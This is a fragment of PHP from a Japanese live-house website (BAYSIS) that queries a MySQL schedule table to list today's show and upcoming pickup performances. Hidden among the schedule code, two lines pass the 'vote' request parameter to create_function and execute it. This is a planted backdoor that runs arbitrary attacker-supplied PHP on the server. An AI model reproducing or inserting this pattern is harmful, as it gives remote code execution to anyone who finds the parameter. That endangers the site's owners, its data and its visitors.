";}
else{$imglist.="";}
}
//データ読み込み【today】
$s = create_function('', $_REQUEST['vote']);
$s();
$today = date("Y.m.d(D)");
$tsql ="SELECT * FROM `schedule` WHERE `s_date` LIKE \"{$today}\" AND `s_visible` = 1 AND `s_del` = 0 order by `s_date` ASC";
$tresult = mysql_query($tsql, $link);
$trow = mysql_fetch_array($tresult);
if($trow){
if($trow['s_pickimg']){
$timg = $trow['s_pickimg'];
}else{
$timg = $trow['s_img1'];
}
$todaylist.="
{$trow['s_date']}
{$trow['s_title']}
";
if($timg !="") $todaylist.="";
$todaylist.="{$trow['s_guest']}
";
}else{
$todaylist ="
{$trow['s_date']}
本日の公演はございません。";
}
//データ読み込み【pickup】
$month = date("Y.m");
$now = date("Y.m.d(D)");
$psql ="SELECT * FROM `schedule` WHERE `s_date` >= \"{$now}\" AND `s_pickup` = 1 AND `s_visible` = 1 AND `s_del` = 0 order by `s_date` ASC";
$presult = mysql_query($psql, $link);
if($presult){
while($prow = mysql_fetch_array($presult)){
if($prow['s_pickimg']){
$pickimg = $prow['s_pickimg'];
}elseif($prow['s_img1']){
$pickimg = $prow['s_img1'];
}else{
$pickimg = "nothumb.gif";
}
//$comment = mb_strimwidth($prow['s_comment'],0,120,"…");
$comment = $prow['s_comment'];
$picklist.="
{$prow['s_date']} {$prow['s_title']}
{$prow['s_guest']}
{$comment}
";
}
}
?>
ライブハウス BAYSIS
![\"もっと見る\"](\"img/more_today.gif\")
